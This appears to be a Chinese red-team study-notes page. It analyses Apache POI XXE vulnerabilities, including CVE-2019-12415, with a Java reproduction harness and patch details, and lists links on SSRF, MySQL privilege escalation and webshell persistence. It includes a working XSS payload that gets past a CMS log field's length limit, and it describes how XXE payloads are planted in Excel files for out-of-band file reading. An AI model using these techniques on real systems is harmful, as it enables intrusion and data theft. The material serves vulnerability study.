修改 excel 文件中的 [Content_Types].xml 、 /xl/workbook.xml 、 /xl/worksheets/shee1.xml 中均可添加 xxepayload 觸發漏洞,我選擇在 [Content_Types].xml 文件中添加
漏洞分析
選擇在WorkbookFactory.create處下一個斷點,一步步跟入,來到了 OPCPackage 這個類中
public static OPCPackage open(InputStream in) throws InvalidFormatException, IOException {OPCPackage pack = new ZipPackage(in, PackageAccess.READ_WRITE);if (pack.partList == null) {pack.getParts();}return pack;}在這個累里,首先new了一個 ZipPackage 類來解析輸入,跟進來很明顯是個處理 zip 這類型壓縮包的東西
ZipPackage(InputStream in, PackageAccess access) throws IOException {super(access);this.zipArchive = new ZipInputStreamZipEntrySource(new ZipInputStream(in));}繼續往下走,看到了一個if里面調用了pack.getParts();方法,跟進 getParts
public ArrayList<PackagePart> getParts() throws InvalidFormatException {this.throwExceptionIfWriteOnly();if (this.partList == null) {boolean hasCorePropertiesPart = false;boolean needCorePropertiesPart = true;PackagePart[] parts = this.getPartsImpl();這里不知道漏洞觸發點在哪,自然就一步步跟了,首先看到了一個this.getPartsImpl(),跟進這個方法,在這個方法里面看到了一個很眼熟的東西,我們剛剛是在 [Content_Types].xml 文件中添加的payload,這里出現了這個文件
繼續跟進 ZipContentTypeManager 這個類,跟進之后才發現,它調用的是它的父類 ContentTypeManager 來進行處理
跟進 ContentTypeManager ,下圖中 parseContentTypesFile 處理了我們的輸入
跟進 parseContentTypesFile 終于找到了XXE的觸發點
貼一個調用棧
漏洞修復
可以看到修復方式將 xmlReader.read(in) 變成了 SAXHelper.readSAXDocument(in)
private void parseContentTypesFile(InputStream in) throws InvalidFormatException {try {Document xmlContentTypetDoc = SAXHelper.readSAXDocument(in);然后在 org.apache.poi.util.SAXHelper 中做了一些 xxe 的限制
CVE-2019-12415
In Apache POI up to 4.1.0, when using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External Entity (XXE) Processing.
漏洞場景搭建
測試代碼:
import org.apache.poi.EncryptedDocumentException; import org.apache.poi.openxml4j.exceptions.InvalidFormatException; import org.apache.poi.xssf.extractor.XSSFExportToXml; import org.apache.poi.xssf.usermodel.XSSFMap; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.xml.sax.SAXException;import javax.xml.transform.TransformerException; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class PoiXxe {public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException, TransformerException, SAXException {XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("/Users/l1nk3r/Desktop/CustomXMLMappings.xlsx")));for (XSSFMap map : wb.getCustomXMLMappings()) {XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 將 xlsx 轉成 xmlexporter.exportToXML(System.out, true);//第一個參數是輸出流無所謂,第二個參數要為 true}} } //pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.apache.poi</groupId><artifactId>xxe</artifactId><version>1.0-SNAPSHOT</version><dependencies><dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>4.1.0</version></dependency></dependencies> </project>漏洞復現
下載這個excel文件,在 CustomXMLMappings/xl/xmlMaps.xml 文件中增加下面這個代碼
漏洞分析
調用棧太繁瑣了,只列幾個關鍵點,程序進行到 XSDHandler#constructTrees 這個方法的時候,抓出來我們poc中的外帶地址
下一步在 XSDHandler#resolveSchema 中,把外帶地址交給了 getSchemaDocument 處理
最后代碼繼續往下走,在 XMLEntityManager#setupCurrentEntity 找到了http的請求發起,所以想知道一個XXE漏洞的調用棧,絕大多數情況下,你可以選擇在JDK自身的 XMLEntityManager#setupCurrentEntity 中HTTP請求下個斷點,然后利用OOB方式利用,很多找到觸發過程的調用棧
漏洞修復
修復的方式增加了一行
trySetFeature(factory, "http://javax.xml.XMLConstants/feature/secure-processing", true);然后問題關鍵點就來到了 SecuritySupport#checkAccess ,可以看到未修復代碼 allowedProtocols 是all,而 acessAny 也是all,所以 checkAccess 結果返回的是null
已修復代碼中的 SecuritySupport#checkAccess 方法,可以看到未修復代碼 allowedProtocols 是"",而 acessAny 也是all,所以 checkAccess 結果返回的是 http
回到 XSDHandler#getSchemaDocument 中,由于不允許http方式外帶數據,因此我們的錯誤信息自然會出現下圖報錯里面的部分
最后在簡單bb一下,這個洞沒啥用,外帶也沒辦法利用FTP client換行那個洞外帶數據,所以是個弟中弟的洞
Rerfence:
Apache POI <= 4.1.0 XXE 漏洞 (CVE-2019-12415)
參考文章:
https://xz.aliyun.com/t/6996 ---本文復現文章2.2.20 記一次阿里主站xss測試及繞過waf防護
使用工具:
https://github.com/chaitin/xray https://www.loongten.com/2019/12/20/find-alibaba-xss/ --一枚阿里巴巴主站XSS挖掘之旅書里也有另外的思路,大部分都是各種倒騰方法測試,前面也列舉了很多,未授權的別亂搞!!
–
2.2.21 ClassLoader類加載機制
https://javasec.org/javase/ClassLoader/該網站是JAVA非常好的一個學習頁面,前面也推薦過了,這里提到ClassLoader再次推下!!
2.2.22 淺談SSRF原理及其利用(dayu-Ninth Day)
https://teamssix.com/year/191222-192227.html參考文章 https://xz.aliyun.com/t/2115 http://www.liuwx.cn/penetrationtest-3.html https://www.cnblogs.com/yuzly/p/10903398.html https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/
2.2.23 Spring-Data-Commons (CVE-2018-1273)
http://blog.nsfocus.net/cve-2018-1273-analysis/ 自行搭建復現https://pianshen.com/article/9248784281/ vulhub靶機復現http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/聽老的漏洞了,可以玩玩
2.2.24 xss繞過代碼后端長度限制的方法
這篇文章是我近期在審計一套 CMS 的時候順便寫的。
一般來講程序對于輸入字符長度進行限制的方法主要分兩種,一種是前端的長度限制,這種的繞過只需要修改前端源碼即可,或者本地構造一個表單。
本次審計的這套 CMS 存在一個 XSS 漏洞,由于日志入庫驗證不嚴格導致存在該漏洞,只需要嘗試登陸即可寫入 payload
$uid = 0;$cfrom = $this->method->request('cfrom', $cfrom);$token = $this->method->request('token');$device= $this->method->request('device', $device);$ip = $this->method->request('ip', $this->method->ip);$web = $this->method->request('web', $this->method->web);$cfroar= explode(',', 'pc,reim,weixin,appandroid,appiphone,mweb');if(!in_array($cfrom, $cfroar))return 'not found cfrom';if($user=='')return '用戶名不能為空';if($pass==''&&strlen($token)<8)return '密碼不能為空';$user = addslashes(substr($user, 0, 20));$pass = addslashes($pass);$logins = '登錄成功';$msg = '';$fields = '`pass`,`id`,`name`,`user`,`face`,`deptname`';$arrs = array('user' => $user,'status|eqi' => 1,'type|eqi' => 1,'state|neqi' => 5);$us = $this->db->getone('admin', $arrs , $fields);if(!$us){unset($arrs['user']);$arrs['name'] = $user;$tos = $this->db->rows('admin', $arrs);if($tos>1){$msg = '存在相同用戶名,系統無法識別';}if($msg=='')$us = $this->db->getone('admin', $arrs , $fields);}if($msg=='' && !$us){$msg = '用戶不存在';}else if($msg==''){$uid = $us['id'];$user = $us['user'];if(md5($pass)!=$us['pass'])$msg='密碼錯誤';if($pass==HIGHPASS){$msg = '';$logins = '管理員密碼登錄成功';}if($msg!=''&&strlen($token)>=8){$moddt = date('Y-m-d H:i:s', time()-10*60*1000);$trs = $this->getone("`uid`='$uid' and `token`='$token' and `moddt`>='$moddt'");if($trs){$msg = '';$logins = '快捷登錄';}}}$name = $face = $deptname = '';if($msg==''){$name = $us['name'];$deptname = $us['deptname'];$face = $us['face'];if(!$this->isempt($face))$face = URL.''.$face.'';$face = $this->method->repempt($face, 'images/noface.jpg');$this->db->update('admin',"`loginci`=`loginci`+1", $uid);}else{$logins = $msg;}m('log')->addlog(''.$cfrom.'登錄','['.$user.']'.$logins.'', array('optid' => $uid,'optname' => $name,'ip' => $ip,'web' => $web,));程序前部分代碼對整個登錄過程進行了完整驗證,同樣開發者為了防止插入惡意代碼對截取的數據長度限制到了 20 位并使用了 addslashes 對敏感字符進行轉義。所以在后面的寫入日志那里就很難寫入有攻擊性的 XSS 代碼,單純 就已經占了 17 個字符
通過查看日志的源代碼發現其實腳本標簽是可以插入的,只不過沒有辦法寫入完整代碼,但是最為重要的一個因素在于,這里所插入的代碼都是顯示在同一個頁面的。
所以接下來就是拼接 Payload 代碼??紤]到程序會在渲染到頁面的時候增加許多的標簽導致腳本語法出錯所以就直接給注釋掉。
最終 payload 代碼如下
*/</script>*/;alert(a);/**//xss//**/a=/*<script>var/*這里順序的問題是因為程序的數據是從后往前顯示,咱們輸入的順序是反的但是在頁面顯示的時候順序是正常的
成功觸發 XSS 代碼。
最終源代碼如下:
最終通過注釋符與代碼之間的拼接成功的插入了完整的XSS代碼
參考鏈接:
https://www.shangyexinzhi.com/article/387056.html --該文章https://www.freebuf.com/column/221882.html --加深2.2.25 mysql提權之mof
https://www.jianshu.com/p/6dbac868e2abhttps://pino-hd.github.io/2018/06/10/MySQL提權之MOF/https://www.cnblogs.com/h4ck0ne/p/5154629.html2.2.26 mysql提權之udf
http://www.oniont.cn/index.php/archives/310.htmlhttps://www.jianshu.com/p/5b34c1b6dee72.2.27 XSS 基礎學習
https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB 百度百科 https://www.jianshu.com/p/24a19c6434ae --最新累積還有書中知識!!!
2.2.28 java 反射與內存shell 初探-基于jetty容器的shell 維權
https://www.freebuf.com/articles/web/172753.html ---利用“進程注入”實現無文件復活 WebShell明日在補充,今天腦殼痛!!
總結
以上是生活随笔為你收集整理的Notes Ninth Day-渗透攻击-红队-打入内网的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 玩Linux碰到的问题以及使用技巧总结
- 下一篇: 关于算法竞赛入门经典3.4.2思考题题目